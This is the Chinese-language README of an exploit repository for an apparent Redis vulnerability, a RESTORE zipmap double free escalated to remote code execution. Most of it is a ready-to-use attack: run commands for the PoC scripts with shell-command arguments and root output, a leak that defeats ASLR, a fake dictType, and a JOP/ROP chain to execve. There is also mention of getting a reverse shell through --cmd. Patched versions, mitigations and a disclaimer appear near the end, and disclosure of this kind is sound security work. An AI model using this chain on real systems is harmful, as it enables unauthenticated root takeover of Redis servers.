RESTORE zipmap 双重释放 → 远程代码执行TL;DR. 一个畸形的
DUMP载荷传递给RESTORE会触发 Redis 传统哈希 zipmap 加载器中的堆双重释放。在默认的 jemalloc 下,该双重释放是静默的(服务器继续运行),从而将其转化为可控的类型混淆原语。本仓库利用此原语实现了在启用 ASLR 的情况下远程代码执行 —— Redis worker 调用system("<attacker string>")并保持服务。不是 DoS。
# 默认 Redis(DEBUG 禁用),ASLR 开启 —— 最自包含的利用(无 libc 偏移量):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- 以 Redis 进程身份执行 execve("/bin/sh","-c",<cmd>)
实现 ASLR 绕过所需的泄露不使用 DEBUG —— 它读取 redis.call Lua C-closure 地址(EVAL 'return tostring(redis.call)'),与我们之前的 Redis 利用一样采用自包含、无 DEBUG 的技术。blob_base/blob_robj 以及 PIE 基址随后在运行时从越界读取中推导得出(无固定偏移量)。PIE-ROP 完成通过 JOP 栈迁移调用 execve@plt,因此不涉及任何 libc 地址 —— 唯一的构建相关常量是 PIE 相对的小工具偏移量,这些偏移量来自 redis-server 二进制文件,与我们之前 HLL 利用的每个构建小工具表完全相同。已验证 uid=0(root),ASLR 开启,8/8,运行于默认 DEBUG 禁用的服务器。
提供两种完成方式。
poc_rce_aslr_pie_rop.py(如上)最为自包含 —— 无 libc,完全自校准 —— 但execve替换了 worker(使用反弹 shell--cmd;最适合获取真正 shell)。poc_rce_aslr_selfcal.py保持 worker 存活(system()分叉),代价是需要两个 libc 版本偏移量。根据是否需要服务器存活来选择。
RESTORE key 0 <DUMP-payload> 反序列化一个序列化对象。对于传统 RDB_TYPE_HASH_ZIPMAP(0x09)类型,验证器和转换器在长度字段占用的字节数上存在分歧:
zipmapValidateIntegrity() 使用实际编码大小(对于过长的 0xFE 前缀,为 5 字节);zipmapNext() 在 zipmap → listpack 转换过程中,对于任何解码长度 < 254 只使用 1 字节。一个以过长 5 字节形式写入的短长度通过了验证,但导致 zipmapNext() 偏移 4 字节。同一个偏移错误导致两个后果:堆越界读取(zipmap.c)以及在 Redis 中独有的堆双重释放(rdb.c 哈希 zipmap 加载器):
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd 取得了 `field` 所有权 -> 在此释放
sdsfree(field); // (2) 再次释放 -> 双重释放
Valkey 对此有防护(if (!field_added) sdsfree(field));上游 Redis 没有,因此双重释放仅出现在 Redis 中。修复方案是拒绝过长编码的短长度并重新安排加载时检查的顺序。
静默双重释放 -> 类型混淆重叠 -> 任意指针伪造
-> 将哈希表 hash 的 dict->type 伪造为假 dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc 路径(selfcal):hashFunction = &system -> system("<cmd>") (worker 存活)
PIE 路径(pie_rop):hashFunction = JOP 栈迁移 g1, field = ROP 链
-> leave;ret 将 rsp 迁移到 field 上
-> 通过 execve@plt 执行 execve("/bin/sh","-c","<cmd>") (无 libc,无 DEBUG)
假 dictType 被放置在一个 16 MB 字符串(SETRANGE)中,其偏移量的地址低位与攻击者字符串的 sds 头部相匹配。ASLR 完全在运行时被绕过:
system —— 单次堆指针泄露。推荐路径是无 DEBUG:redis.call Lua C-closure 的地址(EVAL 'return tostring(redis.call)')—— 与我们之前的 Redis 利用相同的自包含泄露。jemalloc 的 arena 位于距离 libc 一个恒定偏移量处,因此 system = leaked_robj + Δlibc + system_off。(只有当脚本功能被禁用但 DEBUG 启用时,DEBUG OBJECT 才作为实验室便利存在 —— 这是更罕见的配置。)SET 的 dict,使其成员是一个 107 KB 的 SDS_TYPE_32 sds,SMEMBERS 会越界读取相邻堆,并且 blob 的 robj.ptr 可以在其已知偏移量处被读取。参见 WRITEUP.md 以获取完整的原语逐项分析和来之不易的 jemalloc / Redis-8.x 细节(class-64 边界、dict 条目标记、哈希字段 mstr、键空间预增长)。
docker build -t cve-2026-25243 .
# 默认(jemalloc)演示 —— DoS 与否?显示类型混淆(无需工具):
docker run --rm -p 6379:6379 cve-2026-25243
# 完整链 —— 默认配置(DEBUG 禁用),推荐利用:
sysctl -w kernel.randomize_va_space=2 # ASLR 开启
redis-server & # DEBUG 默认关闭
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG)引导堆指针泄露采用与我们之前 Redis 利用相同的方法:使用 EVAL 'return tostring(redis.call)' 泄露 redis.call Lua C-closure 地址。Lua 脚本功能默认开启;DEBUG 默认关闭(enable-debug-command no)—— 因此 Lua 泄露是实际场景下的主要方式,而 DEBUG OBJECT(poc_rce_aslr.py)仅作为实验室便利。随后 poc_rce_aslr_selfcal.py 在运行时从越界读取中推导 blob_base 和 blob_robj(扫描 16 MB blob robj 签名),因此 DLUA/DFOBJ 只需要接近即可。
对于 system 完成方式,小堆越界读取中不包含任何 libc 指针,因此 libc 无法自我推导 —— poc_rce_aslr_selfcal.py 保留了两个 libc 版本偏移量(DLIBC、SYSTEM_OFF)。poc_rce_aslr_pie_rop.py 完成方式完全消除了这一依赖:相同的越界读取确实携带了 PIE 指针(一个共享的 dictType 反复出现),因此 PIE 基址被自校准为 most-common-PIE-value − DICTTYPE_OFF,并且链以 execve@plt 通过 JOP 栈迁移结束(mov rbp,rdi; call *0x8(rax) → leave;ret 将 rsp 迁移到攻击者控制的 HGET 字段上,该字段就是 execve("/bin/sh","-c",<cmd>) ROP 链)。唯一的构建相关常量是 PIE 相对的小工具偏移量,这些偏移量从 redis-server 中提取 —— 使用 / 针对每个目标提取,就像我们之前的 HLL 利用为每个 ELF Build-ID 保留一个小工具表一样。没有使用任何 libc 地址。
screenshots/05-pie-rop-libc-free.png(NO libc 自校准 + uid=0,最自包含的运行),01-rce-aslr-on.png(uid=0 的钱景图),02-reliability.png(5/5),03-exploit-chain.png(代码),以及 04-debug-free-selfcal.png(在默认 Redis 上运行 DEBUG 禁用、自校准 system 的结果)。
RESTORE 是一个普通命令 —— 在未经认证/暴露的 Redis(无 requirepass)上,任何连接的客户端都可以执行;在已认证的实例上,任何没有 ACL -restore 拒绝的用户均可执行。与用于其他 Redis RCE 的数据结构命令具有相同的访问配置文件。< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} —— 即从 6.2.x 到当前 8.x;Valkey 仅存在 DoS/越界读取(其 field_added 防护阻止了双重释放)。升级到已修复版本。如果无法升级:限制 RESTORE(ACL … -restore),切勿将 Redis 以未认证方式暴露,并禁用 DEBUG。
授权安全研究,为防御者认知而发布。请勿对不属于您或未获得明确许可的系统运行。
| 文件 | 演示内容 |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | 最自包含 —— 在默认 Redis(DEBUG 关闭)上实现 RCE,无 libc 偏移量;自校准 blob_base/blob_robj/pie_base;通过 JOP 栈迁移执行 execve@plt(worker 被替换)。8/8。 |
★ exploits/poc_rce_aslr_selfcal.py | worker 存活 —— 相同链但 hashFunction=&system(分叉);需要两个 libc 版本偏移量(DLIBC/SYSTEM_OFF)。Lua-closure 泄露,自校准 blob_base/blob_robj。 |
exploits/poc_rce_aslr_nodebug.py | 无 DEBUG(Lua 泄露),但使用固定偏移量(在 DEBUG 开启下校准) |
exploits/poc_rce_aslr.py | 实验室便利变种:使用 DEBUG OBJECT 引导泄露(需要启用 DEBUG) |
exploits/poc_rce_aslr_off.py | ASLR 关闭时的 RCE(校准地址) |
exploits/poc_typeconfusion.py | 双重释放 → 两个键共享同一堆缓冲区(无需工具) |
exploits/poc_doublefree.py | 双重释放(ASan:在 sdsfree 中检测到堆释放后使用) |
exploits/poc_dos_overread.py | 越界读取崩溃(ASan) |
ROPgadgetobjdump